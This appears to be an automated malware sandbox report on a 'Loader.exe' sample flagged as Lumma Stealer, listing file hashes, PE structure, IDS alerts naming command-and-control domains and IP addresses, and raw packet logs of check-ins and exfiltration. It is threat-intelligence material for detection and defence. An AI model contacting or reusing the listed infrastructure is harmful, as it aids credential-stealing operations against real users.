Process:	C:\Users\user\Desktop\Loader.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	650240
Entropy (8bit):	7.116623244679264
Encrypted:	false
SSDEEP:	12288:SYJ4YcxYAzZL8kZIOWhbN4ddlannT5EbJ+vMvb4Yw8kU0khma7Fk:SYGYYlFL8ekmd+Tiaa
MD5:	037BF337C4DE4BC965E3200BEB1A5BE8
SHA1:	317DC2FFCA68CF71652CFFE75D9D2A341A09CDA8
SHA-256:	29C961EE9F77637C881D9193C6499A84B1320372F3EDC9B8337AB03FB8B8F589
SHA-512:	10767A9B988843D5ED27C6509CE8801A2A604C5298CD602B4D26E1AB0957E837E1531F60DC37B3EC1DE7EE0A1378E2250D3D737E58926F4D4B0E7CD1FB8275D9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........b.....................A..................{w....................................................Rich...........................PE..L.....mg...........!.........h......D........................................ ............@.............................\|...<...P...............................8..\...............................x...@...............T............................text...H........................... ..`.rdata...e.......f..................@..@.data...............................@....reloc..8.......,..................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.109963399573792
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Loader.exe
File size:	662'016 bytes
MD5:	2ec18b257662dd107ae84263ecd2e5c1
SHA1:	ce2efa8394c35b8da16428b10ece4a856c53dd1f
SHA256:	539f0617a85a7a0773cf9e36d803c1a8ddf5c69dc003c80c1f3afac147b47554
SHA512:	6cf6f83dbaca7f218f6add89de942bc6a8d83fef9ccbbb3f3ef3c03bba4233a25b18f1bc392da27b37b88bb649fecc7c05ed28a9dcf849de957103f03fa63342
SSDEEP:	12288:xI6tpbrZqB16QBXv9trocVyiBFAMyhZVUEz4Pjt/ax7OA2:xIMH6JjocVy+yhZVUEz4PAx7O
TLSH:	74E44A6F977BF209F04A0070A59A367B5DF4EEA5E103C8F206C4E9676066861DFECD12
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....mg..............0.............r@... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x404072
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x676DD9C0 [Thu Dec 26 22:33:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
jnl 00007FC2C0EA7522h
cmp cl, dl

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4020	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa4000	0x664	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa0c78	0xa0e00	163959917283545171c710f544f483d0	False	0.4664432789432789	data	7.116320721076053	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa4000	0x664	0x800	02908315fb791e6119b5131b5b26370c	False	0.35302734375	data	3.6099202773203682	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa6000	0xc	0x200	b8621a767d2dd3d37ce617bafd19944b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xa4090	0x3d4	data			0.42551020408163265
RT_MANIFEST	0xa4474	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-28T22:05:02.286296+0100	2058584	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (prisonyfork .buzz)	1	192.168.2.5	54097	1.1.1.1	53	UDP
2024-12-28T22:05:02.454948+0100	2058586	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rebuildeso .buzz)	1	192.168.2.5	51953	1.1.1.1	53	UDP
2024-12-28T22:05:02.599824+0100	2058588	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scentniej .buzz)	1	192.168.2.5	65086	1.1.1.1	53	UDP
2024-12-28T22:05:02.740771+0100	2058580	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (inherineau .buzz)	1	192.168.2.5	50901	1.1.1.1	53	UDP
2024-12-28T22:05:02.884238+0100	2058590	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (screwamusresz .buzz)	1	192.168.2.5	65025	1.1.1.1	53	UDP
2024-12-28T22:05:03.048763+0100	2058572	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (appliacnesot .buzz)	1	192.168.2.5	54520	1.1.1.1	53	UDP
2024-12-28T22:05:03.188045+0100	2058576	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cashfuzysao .buzz)	1	192.168.2.5	52993	1.1.1.1	53	UDP
2024-12-28T22:05:03.427192+0100	2058578	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hummskitnj .buzz)	1	192.168.2.5	57564	1.1.1.1	53	UDP
2024-12-28T22:05:05.268137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-28T22:05:06.050526+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-28T22:05:07.752125+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-28T22:05:08.524544+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-28T22:05:08.524544+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-28T22:05:09.767020+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-28T22:05:10.540001+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-28T22:05:10.540001+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-28T22:05:12.146215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.157.254	443	TCP
2024-12-28T22:05:14.544670+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.157.254	443	TCP
2024-12-28T22:05:16.862818+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	172.67.157.254	443	TCP
2024-12-28T22:05:19.402133+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	172.67.157.254	443	TCP
2024-12-28T22:05:20.182376+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	172.67.157.254	443	TCP
2024-12-28T22:05:21.574600+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	172.67.157.254	443	TCP
2024-12-28T22:05:23.705985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	172.67.157.254	443	TCP
2024-12-28T22:05:24.619897+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	172.67.157.254	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 22:05:03.782820940 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:03.782870054 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:03.782933950 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:03.784315109 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:03.784327984 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:05.268058062 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:05.268136978 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:05.271755934 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:05.271765947 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:05.271979094 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:05.316437960 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:05.335741997 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:05.379373074 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050564051 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050584078 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050610065 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050626040 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050645113 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050667048 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.050678968 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.050705910 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.050730944 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.247848988 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.247893095 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.247950077 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.247961044 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.248004913 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.278573990 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.278605938 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.278660059 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.278664112 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.278678894 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.278693914 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.278734922 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.280495882 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.280514956 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.280524015 CET	49704	443	192.168.2.5	23.55.153.106
Dec 28, 2024 22:05:06.280529976 CET	443	49704	23.55.153.106	192.168.2.5
Dec 28, 2024 22:05:06.487510920 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:06.487603903 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:06.487683058 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:06.488056898 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:06.488095045 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:07.752032995 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:07.752125025 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:07.754971981 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:07.754995108 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:07.755263090 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:07.756400108 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:07.756438971 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:07.756489038 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.524539948 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.524632931 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.524692059 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.526916981 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.526969910 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.527002096 CET	49705	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.527015924 CET	443	49705	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.552859068 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.552896023 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:08.552970886 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.553237915 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:08.553247929 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:09.766911030 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:09.767019987 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:09.768301010 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:09.768309116 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:09.768549919 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:09.769783974 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:09.769809008 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:09.769845963 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540013075 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540059090 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540105104 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540133953 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540178061 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540225029 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.540225029 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.540261984 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.540308952 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.548290968 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.556515932 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.556579113 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.556587934 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.556607008 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.556663036 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.564948082 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.613300085 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.659634113 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.707046986 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.707061052 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.735547066 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.735613108 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.735620975 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.735672951 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.735723972 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.735835075 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.735847950 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.735863924 CET	49706	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.735867977 CET	443	49706	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.887257099 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.887304068 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:10.887383938 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.887825966 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:10.887845039 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:12.146136045 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:12.146214962 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:12.147571087 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:12.147602081 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:12.147846937 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:12.149066925 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:12.149209023 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:12.149252892 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:13.191535950 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:13.191626072 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:13.191689968 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:13.191910982 CET	49707	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:13.191934109 CET	443	49707	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:13.330807924 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:13.330873966 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:13.330962896 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:13.331264973 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:13.331296921 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:14.544581890 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:14.544670105 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:14.546017885 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:14.546034098 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:14.546292067 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:14.547377110 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:14.547482967 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:14.547528028 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:14.547585011 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:14.591350079 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:15.406893969 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:15.406982899 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:15.407098055 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:15.407341003 CET	49708	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:15.407377005 CET	443	49708	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:15.602843046 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:15.602890015 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:15.602981091 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:15.603291035 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:15.603303909 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:16.862751961 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:16.862818003 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:16.864403009 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:16.864415884 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:16.864666939 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:16.865936041 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:16.866067886 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:16.866101980 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:16.866153955 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:16.866162062 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:17.808245897 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:17.808355093 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:17.808418036 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:17.808521986 CET	49709	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:17.808543921 CET	443	49709	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:18.140233994 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:18.140309095 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:18.140425920 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:18.140702963 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:18.140733957 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:19.402048111 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:19.402132988 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:19.403440952 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:19.403455019 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:19.403697968 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:19.404912949 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:19.404969931 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:19.404980898 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:20.182389021 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:20.182498932 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:20.182638884 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:20.182786942 CET	49710	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:20.182811975 CET	443	49710	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:20.263494015 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:20.263552904 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:20.263650894 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:20.263946056 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:20.263959885 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:21.574517012 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:21.574599981 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:21.576083899 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:21.576096058 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:21.576318979 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:21.577749014 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:21.577846050 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:21.577871084 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:22.401207924 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:22.401307106 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:22.401367903 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:22.401518106 CET	49713	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:22.401535988 CET	443	49713	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:22.491939068 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:22.491976023 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:22.492347956 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:22.492588043 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:22.492599964 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:23.705914021 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:23.705985069 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:23.727328062 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:23.727344990 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:23.727560043 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:23.785281897 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:23.839046955 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:23.839234114 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:23.839256048 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:24.619946957 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:24.620054007 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:24.620099068 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:24.620249987 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:24.620260000 CET	443	49716	172.67.157.254	192.168.2.5
Dec 28, 2024 22:05:24.620270967 CET	49716	443	192.168.2.5	172.67.157.254
Dec 28, 2024 22:05:24.620276928 CET	443	49716	172.67.157.254	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 22:05:02.048746109 CET	65394	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:02.281878948 CET	53	65394	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:02.286295891 CET	54097	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:02.452183962 CET	53	54097	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:02.454947948 CET	51953	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:02.597414017 CET	53	51953	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:02.599823952 CET	65086	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:02.738172054 CET	53	65086	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:02.740771055 CET	50901	53	192.168.2.5	1.1.1.1
Dec 28, 2024 22:05:02.879699945 CET	53	50901	1.1.1.1	192.168.2.5
Dec 28, 2024 22:05:02.884238005 CET	65025	53	192.168.2.5	1.1.1.1
